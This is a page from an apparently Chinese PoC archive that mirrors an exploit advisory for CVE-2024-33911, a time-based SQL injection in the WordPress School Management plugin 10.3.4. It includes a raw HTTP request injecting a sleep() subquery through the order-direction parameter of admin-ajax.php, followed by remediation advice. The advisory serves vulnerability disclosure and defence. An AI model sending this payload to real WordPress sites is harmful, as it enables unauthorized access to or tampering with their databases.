目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2024-33911 PoC — WordPress plugin School Management Pro SQL注入漏洞

来源
关联漏洞
标题: WordPress plugin School Management Pro SQL注入漏洞 (CVE-2024-33911)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin School Management Pro 10.3.4 版本及之前版本存在SQL注入漏洞,该漏洞源于存在 SQL 注入漏洞。
介绍

# The School Management 10.3.4 - Post-Authenticated SQL Injection

**Exploit Title:** The School Management 10.3.4 - Post-Authenticated SQL Injection  
**Date:** 29 April, 2024  
**Exploit Author:** Ivan Spiridonov (xbz0n)  
**Vendor Homepage:** https://theschool-management.com  
**Version:** 10.3.4  
**Tested on:** Ubuntu 22.04  
**CVE:** CVE-2024-33911

## Vulnerability

The School Management plugin, version 10.3.4, developed by Weblizar for WordPress, is vulnerable to Post-Authenticated SQL Injection via the 'order%5B0%5D%5Bdir%5D' parameter in the /wp-admin/admin-ajax.php endpoint. This vulnerability results from insufficient escaping of the user-supplied parameter and a lack of proper preparation of the SQL query. Such a vulnerability allows authenticated attackers to inject and execute arbitrary SQL commands, which could lead to unauthorized access to or manipulation of database information.


## Affected Components

- **Plugin:** The School Management
- **Version:** 10.3.4
- **Affected Parameter:** 'order%5B0%5D%5Bdir%5D'
- **Affected Endpoint:** /wp-admin/admin-ajax.php

## Description

The vulnerability is found in the 'order%5B0%5D%5Bdir%5D' parameter within the admin AJAX endpoint. By manipulating this parameter, authenticated attackers can inject SQL commands, leading to a time-based SQL Injection vulnerability.

## Proof of Concept

### Manual Exploitation

```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
[Additional Headers]
draw=3&[Other Parameters]&order%5B0%5D%5Bdir%5D=asc%2c(select*from(select(sleep(20)))a)
```

If the server response is delayed by approximately 20 seconds, it indicates a successful exploitation of the time-based SQL Injection, confirming the vulnerability.

## Recommendations

Users of The School Management v10.3.4 are strongly advised to restrict access to the affected endpoint and update the plugin to the latest version. Additionally, it is crucial to implement proper input validation and sanitization checks. Using prepared statements or parameterized queries to handle SQL commands can help mitigate such vulnerabilities.
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →